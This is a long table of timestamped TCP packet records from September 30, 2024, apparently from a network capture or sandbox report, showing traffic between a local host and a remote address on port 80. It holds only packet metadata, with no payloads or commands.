Sep 30, 2024 13:59:54.282414913 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.282829046 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.282870054 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.282891989 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.282905102 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.282933950 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.282946110 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.282957077 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.282967091 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.282978058 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.282984972 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.283015966 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.283812046 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.283859015 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.283912897 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.283925056 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.283936024 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.283946037 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.283950090 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.283957005 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.283960104 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.283970118 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.283982038 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.284009933 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.284811020 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.284848928 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.284854889 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.284862041 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.284885883 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.284912109 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.284960032 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.284970999 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.284981012 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.284991980 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.284998894 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.285037994 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.285856009 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.285895109 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.372849941 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.372883081 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.372905016 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.372915983 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.372926950 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.372932911 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.372937918 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.372948885 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.372960091 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.372971058 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.372982025 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.372987032 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.373011112 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.373030901 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.373219967 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.373244047 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.373255014 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.373260975 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.373281002 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.373291969 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.373316050 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.373327017 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.373337030 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.373347998 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.373354912 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.373382092 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.373400927 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.373411894 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.373419046 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.373423100 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.373440981 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.373472929 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.374247074 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.374294996 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.374309063 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.374337912 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.374339104 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.374366999 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.374393940 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.374460936 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.374473095 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.374483109 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.374494076 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.374496937 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.374505997 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.374511003 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.374519110 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.374531984 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.374557972 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.375323057 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.375334024 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.375354052 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.375364065 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.375372887 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.375375032 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.375392914 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.375399113 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.375405073 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.375422001 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.375458002 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.375458002 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.375469923 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.375479937 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.375516891 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.376144886 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.376184940 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.376194954 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.376198053 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.376228094 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.376234055 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.376245022 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.376247883 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.376255035 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.376267910 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.376267910 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.376281023 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.376302004 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.376327991 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.376338959 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.376349926 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.376373053 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.376394987 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.377165079 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.377230883 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.377243996 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.377275944 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.377285957 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.377298117 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.377302885 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.377309084 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.377320051 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.377330065 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.377331018 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.377340078 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.377370119 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.462517023 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.462544918 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.462558031 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.462568998 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.462572098 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.462579966 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.462594986 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.462596893 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.462610006 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.462625027 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.462634087 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.462647915 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.462649107 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.462660074 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.462671041 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.462678909 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.462682962 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.462707043 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.462724924 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.463022947 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.463044882 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.463056087 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.463063002 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.463079929 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.463100910 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.463146925 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.463159084 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.463169098 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.463181019 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.463188887 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.463218927 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.463229895 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.463241100 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.463252068 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.463269949 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.463275909 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.463315010 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.463325024 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.463335991 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.463346958 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.463357925 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.463366032 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.463368893 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.463403940 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.463421106 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.463990927 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.464032888 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.464046955 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.464080095 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.464088917 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.464101076 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.464111090 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.464112043 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.464123011 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.464138985 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.464138985 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.464154005 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.464169979 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.464186907 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.464225054 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.464236021 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.464251041 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.464267969 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.464272976 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.464283943 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.464291096 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.464293957 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.464308977 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.464318991 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.464358091 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.464905024 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.464936018 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.464948893 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.464986086 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.465018034 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.465029955 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.465040922 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.465051889 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.465070963 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.465090990 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.465176105 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.465188980 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.465198994 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.465209961 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.465219975 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.465223074 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.465234041 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.465246916 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.465259075 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.465281963 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.467643976 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.467654943 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.467665911 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.467681885 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.467694044 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.467700005 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.467746019 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.467768908 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.467780113 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.467792988 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.467803001 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.467813015 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.467824936 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.467834949 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.467838049 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.467845917 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.467854023 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.467855930 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.467868090 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.467869997 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.467879057 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.467890978 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.467899084 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.467926979 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.468251944 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.468287945 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.468291044 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.468303919 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.468338966 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.468367100 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.468378067 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.468389034 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.468403101 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.468417883 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.468426943 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.468446016 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.468447924 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.468468904 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.468471050 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.468478918 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.468491077 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.468496084 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.468502045 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.468513012 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.468522072 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.468523026 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.468539000 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.468581915 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.469130993 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.469177008 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.469177961 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.469191074 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.469208002 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.469233990 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.469239950 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.469245911 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.469255924 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.469266891 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.469269037 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.469276905 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.469301939 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.469335079 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.552653074 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.552697897 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.552714109 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.552717924 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.552726030 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.552737951 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.552747011 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.552748919 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.552815914 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.552835941 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.552856922 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.552875042 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.552875042 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.552897930 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.552910089 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.552916050 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.552920103 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.552932024 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.552943945 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.552978992 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.552999020 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553000927 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553019047 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553030014 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553035021 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553040981 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553050995 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553061008 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553076029 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553096056 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553109884 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553117037 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553129911 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553141117 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553143978 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553153992 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553164959 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553172112 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553198099 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553206921 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553210974 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553222895 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553236008 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553273916 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553288937 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553298950 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553309917 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553320885 CEST	80	49733	147.45.44.104	192.168.2.6
